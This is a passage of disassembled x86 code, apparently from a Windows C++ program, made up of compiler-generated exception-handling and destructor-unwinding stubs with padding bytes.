		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40E870	proc near		; DATA XREF: sub_40E870+2o
		mov	eax, offset dword_4406C8
		jmp	sub_437AB8
SEH_40E870	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A2C8:				; DATA XREF: ___:0044074Co
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40ED00	proc near		; DATA XREF: sub_40ED00+2o
		mov	eax, offset dword_440720
		jmp	sub_437AB8
SEH_40ED00	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40EE40	proc near		; DATA XREF: sub_40EE40+2o
		mov	eax, offset dword_440760
		jmp	sub_437AB8
SEH_40EE40	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A318:				; DATA XREF: ___:004407BCo
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A348:				; DATA XREF: ___:0040F218o
		mov	eax, offset dword_440790
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		jmp	sub_40204F
; ---------------------------------------------------------------------------


loc_43A378:				; DATA XREF: ___:0044081Co
		mov	ecx, [ebp-28h]
		add	ecx, 28h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 3Dh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 56h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 84h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 0B2h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 0E0h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 10Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 13Ch
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 16Ah
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 198h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 1C6h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 1F4h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 222h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 250h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 27Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 2ACh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		add	ecx, 2DAh
		jmp	sub_401B68
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40F6D0	proc near		; DATA XREF: sub_40F6D0+2o
		mov	eax, offset dword_4407F0
		jmp	sub_437AB8
SEH_40F6D0	endp

; ---------------------------------------------------------------------------
		db 69h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_40204F
; ---------------------------------------------------------------------------


loc_43A568:				; DATA XREF: ___:0044097Co
		mov	ecx, [ebp-10h]
		add	ecx, 28h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Dh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 56h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 84h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B2h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E0h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 10Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 13Ch
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 16Ah
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 198h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1C6h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1F4h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 222h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 250h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 27Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2ACh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40FE70	proc near		; DATA XREF: sub_40FE70+2o
		mov	eax, offset dword_440950
		jmp	sub_437AB8
SEH_40FE70	endp

; ---------------------------------------------------------------------------
		db 47h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-247Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A69B:				; DATA XREF: ___:00440A34o
		lea	ecx, [ebp-210Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-207Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A6B1:				; DATA XREF: ___:00440A44o
		lea	ecx, [ebp-237Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A6BC:				; DATA XREF: ___:00440A4Co
		lea	ecx, [ebp-21CCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A6C7:				; DATA XREF: ___:00440A54o
		lea	ecx, [ebp-234Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A6D2:				; DATA XREF: ___:00440A5Co
		lea	ecx, [ebp-2064h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A6DD:				; DATA XREF: ___:00440A64o
		lea	ecx, [ebp-231Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A6E8:				; DATA XREF: ___:00440A6Co
		lea	ecx, [ebp-219Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A6F3:				; DATA XREF: ___:00440A74o
		lea	ecx, [ebp-20DCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-22ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A709:				; DATA XREF: ___:00440A84o
		lea	ecx, [ebp-22BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A714:				; DATA XREF: ___:00440A8Co
		lea	ecx, [ebp-23DCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A71F:				; DATA XREF: ___:00440A94o
		lea	ecx, [ebp-216Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A72A:				; DATA XREF: ___:00440A9Co
		lea	ecx, [ebp-2424h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-23F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-228Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-23C4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-225Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A799:				; DATA XREF: ___:00440AE4o
		lea	ecx, [ebp-213Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A7A4:				; DATA XREF: ___:00440AECo
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43A7B2:				; DATA XREF: ___:00440AF4o
		mov	eax, [ebp-2480h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43A7C0:				; DATA XREF: ___:00440AFCo
		lea	ecx, [ebp-21FCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-222Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A7E1:				; DATA XREF: ___:00440B14o
		lea	ecx, [ebp-2394h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-23ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A7F7:				; DATA XREF: ___:00440B24o
		lea	ecx, [ebp-2334h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2364h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A80D:				; DATA XREF: ___:00440B34o
		lea	ecx, [ebp-2304h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A818:				; DATA XREF: ___:00440B3Co
		lea	ecx, [ebp-22D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A823:				; DATA XREF: ___:00440B44o
		mov	ecx, [ebp-2480h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A82E:				; DATA XREF: ___:00440B4Co
		lea	ecx, [ebp-22A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A839:				; DATA XREF: ___:00440B54o
		lea	ecx, [ebp-2244h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2274h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A84F:				; DATA XREF: ___:00440B6Co
		lea	ecx, [ebp-2214h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A85A:				; DATA XREF: ___:00440B7Co
		lea	ecx, [ebp-21E4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A865:				; DATA XREF: ___:00440B84o
		lea	ecx, [ebp-2184h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-21B4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A87B:				; DATA XREF: ___:00440B9Co
		lea	ecx, [ebp-243Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-240Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A891:				; DATA XREF: ___:00440BB4o
		lea	ecx, [ebp-2124h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2154h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A8A7:				; DATA XREF: ___:00440BC4o
		lea	ecx, [ebp-20F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A8B2:				; DATA XREF: ___:00440BCCo
		lea	ecx, [ebp-2094h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-2464h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20C4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A8D3:				; DATA XREF: sub_410030+8o
		mov	eax, offset dword_440A08
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 93h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_40204F

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_411930	proc near		; DATA XREF: sub_411930+2o
		mov	eax, offset dword_440C18
		jmp	sub_437AB8
SEH_411930	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40204F

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4119E0	proc near		; DATA XREF: sub_4119E0+2o
		mov	eax, offset dword_440C48
		jmp	sub_437AB8
SEH_4119E0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A9B8:				; DATA XREF: ___:00440CA4o
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 54h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 69h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_411A60	proc near		; DATA XREF: sub_411A60+2o
		mov	eax, offset dword_440C78
		jmp	sub_437AB8
SEH_411A60	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AA18:				; DATA XREF: ___:00440CFCo
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 54h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 69h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_411B20	proc near		; DATA XREF: sub_411B20+2o
		mov	eax, offset dword_440CD0
		jmp	sub_437AB8
SEH_411B20	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_411C10	proc near		; DATA XREF: sub_411C10+8o
		mov	eax, offset dword_440D28
		jmp	sub_437AB8
SEH_411C10	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AAE8:				; DATA XREF: ___:00440DD4o
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4120B0	proc near		; DATA XREF: sub_4120B0+8o
		mov	eax, offset dword_440DA8
		jmp	sub_437AB8
SEH_4120B0	endp

; ---------------------------------------------------------------------------
		db 2Dh dup(0CCh)
; ---------------------------------------------------------------------------


loc_43AB90:				; DATA XREF: ___:00440E74o
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-48h]
		and	eax, 1
		test	eax, eax
		jz	locret_43ABAE
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_43ABAE:				; CODE XREF: ___:0043ABA0j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_412780	proc near		; DATA XREF: sub_412780+2o
		mov	eax, offset dword_440E48
		jmp	sub_437AB8
SEH_412780	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43ABD8:				; DATA XREF: ___:00440EACo
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_412A40	proc near		; DATA XREF: sub_412A40+8o
		mov	eax, offset dword_440E80
		jmp	sub_437AB8
SEH_412A40	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_412CE0	proc near		; DATA XREF: sub_412CE0+2o
		mov	eax, offset dword_440EB8
		jmp	sub_437AB8
SEH_412CE0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AC18:				; DATA XREF: ___:00440F14o
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-9Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AC4E:				; DATA XREF: ___:00412D88o
		mov	eax, offset dword_440EE8
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43AC7B:				; DATA XREF: ___:00440F74o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_4011B8
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Ch
		jmp	sub_4014BF

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4131F0	proc near		; DATA XREF: sub_4131F0+2o
		mov	eax, offset dword_440F48
		jmp	sub_437AB8
SEH_4131F0	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_4011B8
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Ch
		jmp	sub_4014BF

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4132F0	proc near		; DATA XREF: sub_4132F0+2o
		mov	eax, offset dword_440F90
		jmp	sub_437AB8
SEH_4132F0	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4133B0	proc near		; DATA XREF: sub_4133B0+2o
		mov	eax, offset dword_440FD8
		jmp	sub_437AB8
SEH_4133B0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4134A0	proc near		; DATA XREF: sub_4134A0+2o
		mov	eax, offset dword_441010
		jmp	sub_437AB8
SEH_4134A0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4135E0	proc near		; DATA XREF: sub_4135E0+2o
		mov	eax, offset dword_441040
		jmp	sub_437AB8
SEH_4135E0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+1Ch]
		jmp	sub_401582
; ---------------------------------------------------------------------------


loc_43AD78:				; DATA XREF: ___:0044109Co
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413740	proc near		; DATA XREF: sub_413740+2o
		mov	eax, offset dword_441070
		jmp	sub_437AB8
SEH_413740	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AD98:				; DATA XREF: ___:004410D4o
		lea	ecx, [ebp-0A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-8Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4138B0	proc near		; DATA XREF: sub_4138B0+2o
		mov	eax, offset dword_4410A8
		jmp	sub_437AB8
SEH_4138B0	endp

; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+1Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43ADD8:				; DATA XREF: ___:00441114o
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_401582

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413A80	proc near		; DATA XREF: sub_413A80+2o
		mov	eax, offset dword_4410E8
		jmp	sub_437AB8
SEH_413A80	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AE08:				; DATA XREF: ___:00413BB2o
		mov	eax, offset dword_441128
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AE28:				; DATA XREF: ___:00441184o
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AE30:				; DATA XREF: ___:0044118Co
		mov	eax, [ebp-40h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43AE3B:				; DATA XREF: ___:00441194o
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413C40	proc near		; DATA XREF: sub_413C40+2o
		mov	eax, offset dword_441158
		jmp	sub_437AB8
SEH_413C40	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+64h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AE68:				; DATA XREF: ___:004411CCo
		lea	ecx, [ebp+4Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+34h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+1Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-10h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_413E70	proc near		; DATA XREF: sub_413E70+2o
		mov	eax, offset dword_4411A0
		jmp	sub_437AB8
SEH_413E70	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AEBB:				; DATA XREF: ___:00441224o
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414160	proc near		; DATA XREF: sub_414160+2o
		mov	eax, offset dword_4411F8
		jmp	sub_437AB8
SEH_414160	endp

; ---------------------------------------------------------------------------
		db 15h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AEF8:				; DATA XREF: ___:00441264o
		mov	ecx, [ebp+14h]
		jmp	sub_401226
